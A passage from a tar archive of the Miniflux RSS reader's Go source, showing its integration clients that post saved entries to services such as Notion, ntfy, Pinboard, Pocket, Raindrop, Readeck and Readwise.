",
)
return err
}
v2-2.2.5/internal/integration/notion/ 0000775 0000000 0000000 00000000000 14743520056 0017522 5 ustar 00root root 0000000 0000000 v2-2.2.5/internal/integration/notion/notion.go 0000664 0000000 0000000 00000004066 14743520056 0021365 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package notion
import (
"bytes"
"encoding/json"
"fmt"
"net/http"
"time"
"miniflux.app/v2/internal/version"
)
const defaultClientTimeout = 10 * time.Second
type Client struct {
apiToken string
pageID string
}
func NewClient(apiToken, pageID string) *Client {
return &Client{apiToken, pageID}
}
func (c *Client) UpdateDocument(entryURL string, entryTitle string) error {
if c.apiToken == "" || c.pageID == "" {
return fmt.Errorf("notion: missing API token or page ID")
}
apiEndpoint := "https://api.notion.com/v1/blocks/" + c.pageID + "/children"
requestBody, err := json.Marshal(¬ionDocument{
Children: []block{
{
Object: "block",
Type: "bookmark",
Bookmark: bookmarkObject{
Caption: []any{},
URL: entryURL,
},
},
},
})
if err != nil {
return fmt.Errorf("notion: unable to encode request body: %v", err)
}
request, err := http.NewRequest(http.MethodPatch, apiEndpoint, bytes.NewReader(requestBody))
if err != nil {
return fmt.Errorf("notion: unable to create request: %v", err)
}
request.Header.Set("Content-Type", "application/json")
request.Header.Set("User-Agent", "Miniflux/"+version.Version)
request.Header.Set("Notion-Version", "2022-06-28")
request.Header.Set("Authorization", "Bearer "+c.apiToken)
httpClient := &http.Client{Timeout: defaultClientTimeout}
response, err := httpClient.Do(request)
if err != nil {
return fmt.Errorf("notion: unable to send request: %v", err)
}
defer response.Body.Close()
if response.StatusCode != http.StatusOK {
return fmt.Errorf("notion: unable to update document: url=%s status=%d", apiEndpoint, response.StatusCode)
}
return nil
}
type notionDocument struct {
Children []block `json:"children"`
}
type block struct {
Object string `json:"object"`
Type string `json:"type"`
Bookmark bookmarkObject `json:"bookmark"`
}
type bookmarkObject struct {
Caption []any `json:"caption"`
URL string `json:"url"`
}
v2-2.2.5/internal/integration/ntfy/ 0000775 0000000 0000000 00000000000 14743520056 0017174 5 ustar 00root root 0000000 0000000 v2-2.2.5/internal/integration/ntfy/ntfy.go 0000664 0000000 0000000 00000007405 14743520056 0020511 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package ntfy // import "miniflux.app/v2/internal/integration/ntfy"
import (
"bytes"
"encoding/json"
"fmt"
"log/slog"
"net/http"
"net/url"
"time"
"miniflux.app/v2/internal/config"
"miniflux.app/v2/internal/model"
"miniflux.app/v2/internal/version"
)
const (
defaultClientTimeout = 10 * time.Second
defaultNtfyURL = "https://ntfy.sh"
)
type Client struct {
ntfyURL, ntfyTopic, ntfyApiToken, ntfyUsername, ntfyPassword, ntfyIconURL string
ntfyInternalLinks bool
ntfyPriority int
}
func NewClient(ntfyURL, ntfyTopic, ntfyApiToken, ntfyUsername, ntfyPassword, ntfyIconURL string, ntfyInternalLinks bool, ntfyPriority int) *Client {
if ntfyURL == "" {
ntfyURL = defaultNtfyURL
}
return &Client{ntfyURL, ntfyTopic, ntfyApiToken, ntfyUsername, ntfyPassword, ntfyIconURL, ntfyInternalLinks, ntfyPriority}
}
func (c *Client) SendMessages(feed *model.Feed, entries model.Entries) error {
for _, entry := range entries {
ntfyMessage := &ntfyMessage{
Topic: c.ntfyTopic,
Message: entry.Title,
Title: feed.Title,
Priority: c.ntfyPriority,
Click: entry.URL,
}
if c.ntfyIconURL != "" {
ntfyMessage.Icon = c.ntfyIconURL
}
if c.ntfyInternalLinks {
url, err := url.Parse(config.Opts.BaseURL())
if err != nil {
slog.Error("Unable to parse base URL", slog.Any("error", err))
} else {
ntfyMessage.Click = fmt.Sprintf("%s%s%d", url, "/unread/entry/", entry.ID)
}
}
slog.Debug("Sending Ntfy message",
slog.String("url", c.ntfyURL),
slog.String("topic", c.ntfyTopic),
slog.Int("priority", ntfyMessage.Priority),
slog.String("message", ntfyMessage.Message),
slog.String("entry_url", ntfyMessage.Click),
)
if err := c.makeRequest(ntfyMessage); err != nil {
return err
}
}
return nil
}
func (c *Client) makeRequest(payload any) error {
requestBody, err := json.Marshal(payload)
if err != nil {
return fmt.Errorf("ntfy: unable to encode request body: %v", err)
}
request, err := http.NewRequest(http.MethodPost, c.ntfyURL, bytes.NewReader(requestBody))
if err != nil {
return fmt.Errorf("ntfy: unable to create request: %v", err)
}
request.Header.Set("Content-Type", "application/json")
request.Header.Set("User-Agent", "Miniflux/"+version.Version)
// See https://docs.ntfy.sh/publish/#access-tokens
if c.ntfyApiToken != "" {
request.Header.Set("Authorization", fmt.Sprintf("Bearer %s", c.ntfyApiToken))
}
// See https://docs.ntfy.sh/publish/#username-password
if c.ntfyUsername != "" && c.ntfyPassword != "" {
request.SetBasicAuth(c.ntfyUsername, c.ntfyPassword)
}
httpClient := &http.Client{Timeout: defaultClientTimeout}
response, err := httpClient.Do(request)
if err != nil {
return fmt.Errorf("ntfy: unable to send request: %v", err)
}
defer response.Body.Close()
if response.StatusCode >= 400 {
return fmt.Errorf("ntfy: incorrect response status code %d for url %s", response.StatusCode, c.ntfyURL)
}
return nil
}
// See https://docs.ntfy.sh/publish/#publish-as-json
type ntfyMessage struct {
Topic string `json:"topic"`
Message string `json:"message"`
Title string `json:"title"`
Tags []string `json:"tags,omitempty"`
Priority int `json:"priority,omitempty"`
Icon string `json:"icon,omitempty"` // https://docs.ntfy.sh/publish/#icons
Click string `json:"click,omitempty"`
Actions []ntfyAction `json:"actions,omitempty"`
}
// See https://docs.ntfy.sh/publish/#action-buttons
type ntfyAction struct {
Action string `json:"action"`
Label string `json:"label"`
URL string `json:"url"`
}
v2-2.2.5/internal/integration/nunuxkeeper/ 0000775 0000000 0000000 00000000000 14743520056 0020565 5 ustar 00root root 0000000 0000000 v2-2.2.5/internal/integration/nunuxkeeper/nunuxkeeper.go 0000664 0000000 0000000 00000004106 14743520056 0023466 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package nunuxkeeper // import "miniflux.app/v2/internal/integration/nunuxkeeper"
import (
"bytes"
"encoding/json"
"fmt"
"net/http"
"time"
"miniflux.app/v2/internal/urllib"
"miniflux.app/v2/internal/version"
)
const defaultClientTimeout = 10 * time.Second
type Client struct {
baseURL string
apiKey string
}
func NewClient(baseURL, apiKey string) *Client {
return &Client{baseURL: baseURL, apiKey: apiKey}
}
func (c *Client) AddEntry(entryURL, entryTitle, entryContent string) error {
if c.baseURL == "" || c.apiKey == "" {
return fmt.Errorf("nunux-keeper: missing base URL or API key")
}
apiEndpoint, err := urllib.JoinBaseURLAndPath(c.baseURL, "/v2/documents")
if err != nil {
return fmt.Errorf(`nunux-keeper: invalid API endpoint: %v`, err)
}
requestBody, err := json.Marshal(&nunuxKeeperDocument{
Title: entryTitle,
Origin: entryURL,
Content: entryContent,
ContentType: "text/html",
})
if err != nil {
return fmt.Errorf("notion: unable to encode request body: %v", err)
}
request, err := http.NewRequest(http.MethodPost, apiEndpoint, bytes.NewReader(requestBody))
if err != nil {
return fmt.Errorf("nunux-keeper: unable to create request: %v", err)
}
request.SetBasicAuth("api", c.apiKey)
request.Header.Set("Content-Type", "application/json")
request.Header.Set("User-Agent", "Miniflux/"+version.Version)
httpClient := &http.Client{Timeout: defaultClientTimeout}
response, err := httpClient.Do(request)
if err != nil {
return fmt.Errorf("nunux-keeper: unable to send request: %v", err)
}
defer response.Body.Close()
if response.StatusCode != http.StatusOK {
return fmt.Errorf("nunux-keeper: unable to create document: url=%s status=%d", apiEndpoint, response.StatusCode)
}
return nil
}
type nunuxKeeperDocument struct {
Title string `json:"title,omitempty"`
Origin string `json:"origin,omitempty"`
Content string `json:"content,omitempty"`
ContentType string `json:"contentType,omitempty"`
}
v2-2.2.5/internal/integration/omnivore/ 0000775 0000000 0000000 00000000000 14743520056 0020052 5 ustar 00root root 0000000 0000000 v2-2.2.5/internal/integration/omnivore/omnivore.go 0000664 0000000 0000000 00000005635 14743520056 0022250 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package omnivore // import "miniflux.app/v2/internal/integration/omnivore"
import (
"bytes"
"encoding/json"
"fmt"
"io"
"net/http"
"time"
"miniflux.app/v2/internal/crypto"
"miniflux.app/v2/internal/version"
)
const defaultClientTimeout = 10 * time.Second
const defaultApiEndpoint = "https://api-prod.omnivore.app/api/graphql"
var mutation = `
mutation SaveUrl($input: SaveUrlInput!) {
saveUrl(input: $input) {
... on SaveSuccess {
url
clientRequestId
}
... on SaveError {
errorCodes
message
}
}
}
`
type SaveUrlInput struct {
ClientRequestId string `json:"clientRequestId"`
Source string `json:"source"`
Url string `json:"url"`
}
type errorResponse struct {
Errors []struct {
Message string `json:"message"`
} `json:"errors"`
}
type successResponse struct {
Data struct {
SaveUrl struct {
Url string `json:"url"`
ClientRequestId string `json:"clientRequestId"`
} `json:"saveUrl"`
} `json:"data"`
}
type Client interface {
SaveUrl(url string) error
}
type client struct {
wrapped *http.Client
apiEndpoint string
apiToken string
}
func NewClient(apiToken string, apiEndpoint string) Client {
if apiEndpoint == "" {
apiEndpoint = defaultApiEndpoint
}
return &client{wrapped: &http.Client{Timeout: defaultClientTimeout}, apiEndpoint: apiEndpoint, apiToken: apiToken}
}
func (c *client) SaveUrl(url string) error {
var payload = map[string]interface{}{
"query": mutation,
"variables": map[string]interface{}{
"input": map[string]interface{}{
"clientRequestId": crypto.GenerateUUID(),
"source": "api",
"url": url,
},
},
}
b, err := json.Marshal(payload)
if err != nil {
return err
}
req, err := http.NewRequest(http.MethodPost, c.apiEndpoint, bytes.NewReader(b))
if err != nil {
return err
}
req.Header.Set("Authorization", c.apiToken)
req.Header.Set("Content-Type", "application/json")
req.Header.Set("User-Agent", "Miniflux/"+version.Version)
resp, err := c.wrapped.Do(req)
if err != nil {
return err
}
defer resp.Body.Close()
b, err = io.ReadAll(resp.Body)
if err != nil {
return fmt.Errorf("omnivore: failed to parse response: %s", err)
}
if resp.StatusCode >= 400 {
var errResponse errorResponse
if err = json.Unmarshal(b, &errResponse); err != nil {
return fmt.Errorf("omnivore: failed to save URL: status=%d %s", resp.StatusCode, string(b))
}
return fmt.Errorf("omnivore: failed to save URL: status=%d %s", resp.StatusCode, errResponse.Errors[0].Message)
}
var successReponse successResponse
if err = json.Unmarshal(b, &successReponse); err != nil {
return fmt.Errorf("omnivore: failed to parse response, however the request appears successful, is the url correct?: status=%d %s", resp.StatusCode, string(b))
}
return nil
}
v2-2.2.5/internal/integration/pinboard/ 0000775 0000000 0000000 00000000000 14743520056 0020012 5 ustar 00root root 0000000 0000000 v2-2.2.5/internal/integration/pinboard/pinboard.go 0000664 0000000 0000000 00000006356 14743520056 0022151 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package pinboard // import "miniflux.app/v2/internal/integration/pinboard"
import (
"encoding/xml"
"errors"
"fmt"
"net/http"
"net/url"
"time"
"miniflux.app/v2/internal/version"
)
var errPostNotFound = fmt.Errorf("pinboard: post not found")
var errMissingCredentials = fmt.Errorf("pinboard: missing auth token")
const defaultClientTimeout = 10 * time.Second
type Client struct {
authToken string
}
func NewClient(authToken string) *Client {
return &Client{authToken: authToken}
}
func (c *Client) CreateBookmark(entryURL, entryTitle, pinboardTags string, markAsUnread bool) error {
if c.authToken == "" {
return errMissingCredentials
}
// We check if the url is already bookmarked to avoid overriding existing data.
post, err := c.getBookmark(entryURL)
if err != nil && errors.Is(err, errPostNotFound) {
post = NewPost(entryURL, entryTitle)
} else if err != nil {
// In case of any other error, we return immediately to avoid overriding existing data.
return err
}
post.addTag(pinboardTags)
if markAsUnread {
post.SetToread()
}
values := url.Values{}
values.Add("auth_token", c.authToken)
post.AddValues(values)
apiEndpoint := "https://api.pinboard.in/v1/posts/add?" + values.Encode()
request, err := http.NewRequest(http.MethodGet, apiEndpoint, nil)
if err != nil {
return fmt.Errorf("pinboard: unable to create request: %v", err)
}
request.Header.Set("Content-Type", "application/x-www-form-urlencoded")
request.Header.Set("User-Agent", "Miniflux/"+version.Version)
httpClient := &http.Client{Timeout: defaultClientTimeout}
response, err := httpClient.Do(request)
if err != nil {
return fmt.Errorf("pinboard: unable to send request: %v", err)
}
defer response.Body.Close()
if response.StatusCode >= 400 {
return fmt.Errorf("pinboard: unable to create a bookmark: url=%s status=%d", apiEndpoint, response.StatusCode)
}
return nil
}
// getBookmark fetches a bookmark from Pinboard. https://www.pinboard.in/api/#posts_get
func (c *Client) getBookmark(entryURL string) (*Post, error) {
if c.authToken == "" {
return nil, errMissingCredentials
}
values := url.Values{}
values.Add("auth_token", c.authToken)
values.Add("url", entryURL)
apiEndpoint := "https://api.pinboard.in/v1/posts/get?" + values.Encode()
request, err := http.NewRequest(http.MethodGet, apiEndpoint, nil)
if err != nil {
return nil, fmt.Errorf("pinboard: unable to create request: %v", err)
}
request.Header.Set("Content-Type", "application/x-www-form-urlencoded")
request.Header.Set("User-Agent", "Miniflux/"+version.Version)
httpClient := &http.Client{Timeout: defaultClientTimeout}
response, err := httpClient.Do(request)
if err != nil {
return nil, fmt.Errorf("pinboard: unable fetch bookmark: %v", err)
}
defer response.Body.Close()
if response.StatusCode >= 400 {
return nil, fmt.Errorf("pinboard: unable to fetch bookmark, status=%d", response.StatusCode)
}
var results posts
err = xml.NewDecoder(response.Body).Decode(&results)
if err != nil {
return nil, fmt.Errorf("pinboard: unable to decode XML: %v", err)
}
if len(results.Posts) == 0 {
return nil, errPostNotFound
}
return &results.Posts[0], nil
}
v2-2.2.5/internal/integration/pinboard/post.go 0000664 0000000 0000000 00000002752 14743520056 0021334 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package pinboard // import "miniflux.app/v2/internal/integration/pinboard"
import (
"encoding/xml"
"net/url"
"strings"
"time"
)
// Post a Pinboard bookmark. "inspiration" from https://github.com/drags/pinboard/blob/master/posts.go#L32-L42
type Post struct {
XMLName xml.Name `xml:"post"`
Url string `xml:"href,attr"`
Description string `xml:"description,attr"`
Tags string `xml:"tag,attr"`
Extended string `xml:"extended,attr"`
Date time.Time `xml:"time,attr"`
Shared string `xml:"shared,attr"`
Toread string `xml:"toread,attr"`
}
// Posts A result of a Pinboard API call
type posts struct {
XMLName xml.Name `xml:"posts"`
Posts []Post `xml:"post"`
}
func NewPost(url string, description string) *Post {
return &Post{
Url: url,
Description: description,
Date: time.Now(),
Toread: "no",
}
}
func (p *Post) addTag(tag string) {
if !strings.Contains(p.Tags, tag) {
p.Tags += " " + tag
}
}
func (p *Post) SetToread() {
p.Toread = "yes"
}
func (p *Post) AddValues(values url.Values) {
values.Add("url", p.Url)
values.Add("description", p.Description)
values.Add("tags", p.Tags)
if p.Toread != "" {
values.Add("toread", p.Toread)
}
if p.Shared != "" {
values.Add("shared", p.Shared)
}
values.Add("dt", p.Date.Format(time.RFC3339))
values.Add("extended", p.Extended)
}
v2-2.2.5/internal/integration/pocket/ 0000775 0000000 0000000 00000000000 14743520056 0017501 5 ustar 00root root 0000000 0000000 v2-2.2.5/internal/integration/pocket/connector.go 0000664 0000000 0000000 00000007777 14743520056 0022044 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package pocket // import "miniflux.app/v2/internal/integration/pocket"
import (
"bytes"
"encoding/json"
"errors"
"fmt"
"net/http"
"miniflux.app/v2/internal/version"
)
// Connector manages the authorization flow with Pocket to get a personal access token.
type Connector struct {
consumerKey string
}
// NewConnector returns a new Pocket Connector.
func NewConnector(consumerKey string) *Connector {
return &Connector{consumerKey}
}
// RequestToken fetches a new request token from Pocket API.
func (c *Connector) RequestToken(redirectURL string) (string, error) {
apiEndpoint := "https://getpocket.com/v3/oauth/request"
requestBody, err := json.Marshal(&createTokenRequest{ConsumerKey: c.consumerKey, RedirectURI: redirectURL})
if err != nil {
return "", fmt.Errorf("pocket: unable to encode request body: %v", err)
}
request, err := http.NewRequest(http.MethodPost, apiEndpoint, bytes.NewReader(requestBody))
if err != nil {
return "", fmt.Errorf("pocket: unable to create request: %v", err)
}
request.Header.Set("Content-Type", "application/json")
request.Header.Set("X-Accept", "application/json")
request.Header.Set("User-Agent", "Miniflux/"+version.Version)
httpClient := &http.Client{Timeout: defaultClientTimeout}
response, err := httpClient.Do(request)
if err != nil {
return "", fmt.Errorf("pocket: unable to send request: %v", err)
}
defer response.Body.Close()
if response.StatusCode >= 400 {
return "", fmt.Errorf("pocket: unable get request token: url=%s status=%d", apiEndpoint, response.StatusCode)
}
var result createTokenResponse
if err := json.NewDecoder(response.Body).Decode(&result); err != nil {
return "", fmt.Errorf("pocket: unable to decode response: %v", err)
}
if result.Code == "" {
return "", errors.New("pocket: request token is empty")
}
return result.Code, nil
}
// AccessToken fetches a new access token once the end-user authorized the application.
func (c *Connector) AccessToken(requestToken string) (string, error) {
apiEndpoint := "https://getpocket.com/v3/oauth/authorize"
requestBody, err := json.Marshal(&authorizeRequest{ConsumerKey: c.consumerKey, Code: requestToken})
if err != nil {
return "", fmt.Errorf("pocket: unable to encode request body: %v", err)
}
request, err := http.NewRequest(http.MethodPost, apiEndpoint, bytes.NewReader(requestBody))
if err != nil {
return "", fmt.Errorf("pocket: unable to create request: %v", err)
}
request.Header.Set("Content-Type", "application/json")
request.Header.Set("X-Accept", "application/json")
request.Header.Set("User-Agent", "Miniflux/"+version.Version)
httpClient := &http.Client{Timeout: defaultClientTimeout}
response, err := httpClient.Do(request)
if err != nil {
return "", fmt.Errorf("pocket: unable to send request: %v", err)
}
defer response.Body.Close()
if response.StatusCode >= 400 {
return "", fmt.Errorf("pocket: unable get access token: url=%s status=%d", apiEndpoint, response.StatusCode)
}
var result authorizeReponse
if err := json.NewDecoder(response.Body).Decode(&result); err != nil {
return "", fmt.Errorf("pocket: unable to decode response: %v", err)
}
if result.AccessToken == "" {
return "", errors.New("pocket: access token is empty")
}
return result.AccessToken, nil
}
// AuthorizationURL returns the authorization URL for the end-user.
func (c *Connector) AuthorizationURL(requestToken, redirectURL string) string {
return fmt.Sprintf(
"https://getpocket.com/auth/authorize?request_token=%s&redirect_uri=%s",
requestToken,
redirectURL,
)
}
type createTokenRequest struct {
ConsumerKey string `json:"consumer_key"`
RedirectURI string `json:"redirect_uri"`
}
type createTokenResponse struct {
Code string `json:"code"`
}
type authorizeRequest struct {
ConsumerKey string `json:"consumer_key"`
Code string `json:"code"`
}
type authorizeReponse struct {
AccessToken string `json:"access_token"`
Username string `json:"username"`
}
v2-2.2.5/internal/integration/pocket/pocket.go 0000664 0000000 0000000 00000003507 14743520056 0021322 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package pocket // import "miniflux.app/v2/internal/integration/pocket"
import (
"bytes"
"encoding/json"
"fmt"
"net/http"
"time"
"miniflux.app/v2/internal/version"
)
const defaultClientTimeout = 10 * time.Second
type Client struct {
consumerKey string
accessToken string
}
func NewClient(consumerKey, accessToken string) *Client {
return &Client{consumerKey, accessToken}
}
func (c *Client) AddURL(entryURL, entryTitle string) error {
if c.consumerKey == "" || c.accessToken == "" {
return fmt.Errorf("pocket: missing consumer key or access token")
}
apiEndpoint := "https://getpocket.com/v3/add"
requestBody, err := json.Marshal(&createItemRequest{
AccessToken: c.accessToken,
ConsumerKey: c.consumerKey,
Title: entryTitle,
URL: entryURL,
})
if err != nil {
return fmt.Errorf("pocket: unable to encode request body: %v", err)
}
request, err := http.NewRequest(http.MethodPost, apiEndpoint, bytes.NewReader(requestBody))
if err != nil {
return fmt.Errorf("pocket: unable to create request: %v", err)
}
request.Header.Set("Content-Type", "application/json")
request.Header.Set("User-Agent", "Miniflux/"+version.Version)
httpClient := &http.Client{Timeout: defaultClientTimeout}
response, err := httpClient.Do(request)
if err != nil {
return fmt.Errorf("pocket: unable to send request: %v", err)
}
defer response.Body.Close()
if response.StatusCode >= 400 {
return fmt.Errorf("pocket: unable to create item: url=%s status=%d", apiEndpoint, response.StatusCode)
}
return nil
}
type createItemRequest struct {
AccessToken string `json:"access_token"`
ConsumerKey string `json:"consumer_key"`
Title string `json:"title,omitempty"`
URL string `json:"url"`
}
v2-2.2.5/internal/integration/raindrop/ 0000775 0000000 0000000 00000000000 14743520056 0020032 5 ustar 00root root 0000000 0000000 v2-2.2.5/internal/integration/raindrop/raindrop.go 0000664 0000000 0000000 00000004050 14743520056 0022176 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package raindrop // import "miniflux.app/v2/internal/integration/raindrop"
import (
"bytes"
"encoding/json"
"fmt"
"net/http"
"strings"
"time"
"miniflux.app/v2/internal/version"
)
const defaultClientTimeout = 10 * time.Second
type Client struct {
token string
collectionID string
tags []string
}
func NewClient(token, collectionID, tags string) *Client {
return &Client{token: token, collectionID: collectionID, tags: strings.Split(tags, ",")}
}
// https://developer.raindrop.io/v1/raindrops/single#create-raindrop
func (c *Client) CreateRaindrop(entryURL, entryTitle string) error {
if c.token == "" {
return fmt.Errorf("raindrop: missing token")
}
var request *http.Request
requestBodyJson, err := json.Marshal(&raindrop{
Link: entryURL,
Title: entryTitle,
Collection: collection{Id: c.collectionID},
Tags: c.tags,
})
if err != nil {
return fmt.Errorf("raindrop: unable to encode request body: %v", err)
}
request, err = http.NewRequest(http.MethodPost, "https://api.raindrop.io/rest/v1/raindrop", bytes.NewReader(requestBodyJson))
if err != nil {
return fmt.Errorf("raindrop: unable to create request: %v", err)
}
request.Header.Set("Content-Type", "application/json")
request.Header.Set("User-Agent", "Miniflux/"+version.Version)
request.Header.Set("Authorization", "Bearer "+c.token)
httpClient := &http.Client{Timeout: defaultClientTimeout}
response, err := httpClient.Do(request)
if err != nil {
return fmt.Errorf("raindrop: unable to send request: %v", err)
}
defer response.Body.Close()
if response.StatusCode >= 400 {
return fmt.Errorf("raindrop: unable to create bookmark: status=%d", response.StatusCode)
}
return nil
}
type raindrop struct {
Link string `json:"link"`
Title string `json:"title"`
Collection collection `json:"collection,omitempty"`
Tags []string `json:"tags"`
}
type collection struct {
Id string `json:"$id"`
}
v2-2.2.5/internal/integration/readeck/ 0000775 0000000 0000000 00000000000 14743520056 0017612 5 ustar 00root root 0000000 0000000 v2-2.2.5/internal/integration/readeck/readeck.go 0000664 0000000 0000000 00000010547 14743520056 0021546 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package readeck // import "miniflux.app/v2/internal/integration/readeck"
import (
"bytes"
"encoding/json"
"fmt"
"mime/multipart"
"net/http"
"strings"
"time"
"miniflux.app/v2/internal/urllib"
"miniflux.app/v2/internal/version"
)
const defaultClientTimeout = 10 * time.Second
type Client struct {
baseURL string
apiKey string
labels string
onlyURL bool
}
func NewClient(baseURL, apiKey, labels string, onlyURL bool) *Client {
return &Client{baseURL: baseURL, apiKey: apiKey, labels: labels, onlyURL: onlyURL}
}
func (c *Client) CreateBookmark(entryURL, entryTitle string, entryContent string) error {
if c.baseURL == "" || c.apiKey == "" {
return fmt.Errorf("readeck: missing base URL or API key")
}
apiEndpoint, err := urllib.JoinBaseURLAndPath(c.baseURL, "/api/bookmarks/")
if err != nil {
return fmt.Errorf(`readeck: invalid API endpoint: %v`, err)
}
labelsSplitFn := func(c rune) bool {
return c == ',' || c == ' '
}
labelsSplit := strings.FieldsFunc(c.labels, labelsSplitFn)
var request *http.Request
if c.onlyURL {
requestBodyJson, err := json.Marshal(&readeckBookmark{
Url: entryURL,
Title: entryTitle,
Labels: labelsSplit,
})
if err != nil {
return fmt.Errorf("readeck: unable to encode request body: %v", err)
}
request, err = http.NewRequest(http.MethodPost, apiEndpoint, bytes.NewReader(requestBodyJson))
if err != nil {
return fmt.Errorf("readeck: unable to create request: %v", err)
}
request.Header.Set("Content-Type", "application/json")
} else {
requestBody := new(bytes.Buffer)
multipartWriter := multipart.NewWriter(requestBody)
urlPart, err := multipartWriter.CreateFormField("url")
if err != nil {
return fmt.Errorf("readeck: unable to encode request body (entry url): %v", err)
}
urlPart.Write([]byte(entryURL))
titlePart, err := multipartWriter.CreateFormField("title")
if err != nil {
return fmt.Errorf("readeck: unable to encode request body (entry title): %v", err)
}
titlePart.Write([]byte(entryTitle))
featurePart, err := multipartWriter.CreateFormField("feature_find_main")
if err != nil {
return fmt.Errorf("readeck: unable to encode request body (feature_find_main flag): %v", err)
}
featurePart.Write([]byte("false")) // false to disable readability
for _, label := range labelsSplit {
labelPart, err := multipartWriter.CreateFormField("labels")
if err != nil {
return fmt.Errorf("readeck: unable to encode request body (entry labels): %v", err)
}
labelPart.Write([]byte(label))
}
contentBodyHeader, err := json.Marshal(&partContentHeader{
Url: entryURL,
ContentHeader: contentHeader{ContentType: "text/html; charset=utf-8"},
})
if err != nil {
return fmt.Errorf("readeck: unable to encode request body (entry content header): %v", err)
}
contentPart, err := multipartWriter.CreateFormFile("resource", "blob")
if err != nil {
return fmt.Errorf("readeck: unable to encode request body (entry content): %v", err)
}
contentPart.Write(contentBodyHeader)
contentPart.Write([]byte("\n"))
contentPart.Write([]byte(entryContent))
err = multipartWriter.Close()
if err != nil {
return fmt.Errorf("readeck: unable to encode request body: %v", err)
}
request, err = http.NewRequest(http.MethodPost, apiEndpoint, requestBody)
if err != nil {
return fmt.Errorf("readeck: unable to create request: %v", err)
}
request.Header.Set("Content-Type", multipartWriter.FormDataContentType())
}
request.Header.Set("User-Agent", "Miniflux/"+version.Version)
request.Header.Set("Authorization", "Bearer "+c.apiKey)
httpClient := &http.Client{Timeout: defaultClientTimeout}
response, err := httpClient.Do(request)
if err != nil {
return fmt.Errorf("readeck: unable to send request: %v", err)
}
defer response.Body.Close()
if response.StatusCode >= 400 {
return fmt.Errorf("readeck: unable to create bookmark: url=%s status=%d", apiEndpoint, response.StatusCode)
}
return nil
}
type readeckBookmark struct {
Url string `json:"url"`
Title string `json:"title"`
Labels []string `json:"labels,omitempty"`
}
type contentHeader struct {
ContentType string `json:"content-type"`
}
type partContentHeader struct {
Url string `json:"url"`
ContentHeader contentHeader `json:"headers"`
}
v2-2.2.5/internal/integration/readwise/ 0000775 0000000 0000000 00000000000 14743520056 0020017 5 ustar 00root root 0000000 0000000 v2-2.2.5/internal/integration/readwise/readwise.go 0000664 0000000 0000000 00000003245 14743520056 0022155 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
// Readwise Reader API documentation: https://readwise.io/reader_api
package readwise // import "miniflux.app/v2/internal/integration/readwise"
import (
"bytes"
"encoding/json"
"fmt"
"net/http"
"time"
"miniflux.app/v2/internal/version"
)
const (
readwiseApiEndpoint = "https://readwise.io/api/v3/save/"
defaultClientTimeout = 10 * time.Second
)
type Client struct {
apiKey string
}
func NewClient(apiKey string) *Client {
return &Client{apiKey: apiKey}
}
func (c *Client) CreateDocument(entryURL string) error {
if c.apiKey == "" {
return fmt.Errorf("readwise: missing API key")
}
requestBody, err := json.Marshal(&readwiseDocument{
URL: entryURL,
})
if err != nil {
return fmt.Errorf("readwise: unable to encode request body: %v", err)
}
request, err := http.NewRequest(http.MethodPost, readwiseApiEndpoint, bytes.NewReader(requestBody))
if err != nil {
return fmt.Errorf("readwise: unable to create request: %v", err)
}
request.Header.Set("Content-Type", "application/json")
request.Header.Set("User-Agent", "Miniflux/"+version.Version)
request.Header.Set("Authorization", "Token "+c.apiKey)
httpClient := &http.Client{Timeout: defaultClientTimeout}
response, err := httpClient.Do(request)
if err != nil {
return fmt.Errorf("readwise: unable to send request: %v", err)
}
defer response.Body.Close()
if response.StatusCode >= 400 {
return fmt.Errorf("readwise: unable to create document: url=%s status=%d", readwiseApiEndpoint, response.StatusCode)
}
return nil
}
type readwiseDocument struct {
URL string `json:"url"`
}
v2-2.2.5/internal/integration/rssbridge/ 0000775 0000000 0000000 00000000000 14743520056 0020200 5 ustar 00root root 0000000 0000000 v2-2.2.5/internal/integration/rssbridge/rssbridge.go 0000664 0000000 0000000 00000004174 14743520056 0022521 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package rssbridge // import "miniflux.app/v2/internal/integration/rssbridge"
import (
"encoding/json"
"fmt"
"log/slog"
"net/http"
"net/url"
"strings"
"time"
)
const defaultClientTimeout = 30 * time.Second
type Bridge struct {
URL string `json:"url"`
BridgeMeta BridgeMeta `json:"bridgeMeta"`
}
type BridgeMeta struct {
Name string `json:"name"`
}
func DetectBridges(rssBridgeURL, websiteURL string) ([]*Bridge, error) {
endpointURL, err := url.Parse(rssBridgeURL)
if err != nil {
return nil, fmt.Errorf("RSS-Bridge: unable to parse bridge URL: %w", err)
}
values := endpointURL.Query()
values.Add("action", "findfeed")
values.Add("format", "atom")
values.Add("url", websiteURL)
endpointURL.RawQuery = values.Encode()
slog.Debug("Detecting RSS bridges", slog.String("url", endpointURL.String()))
request, err := http.NewRequest(http.MethodGet, endpointURL.String(), nil)
if err != nil {
return nil, fmt.Errorf("RSS-Bridge: unable to create request: %w", err)
}
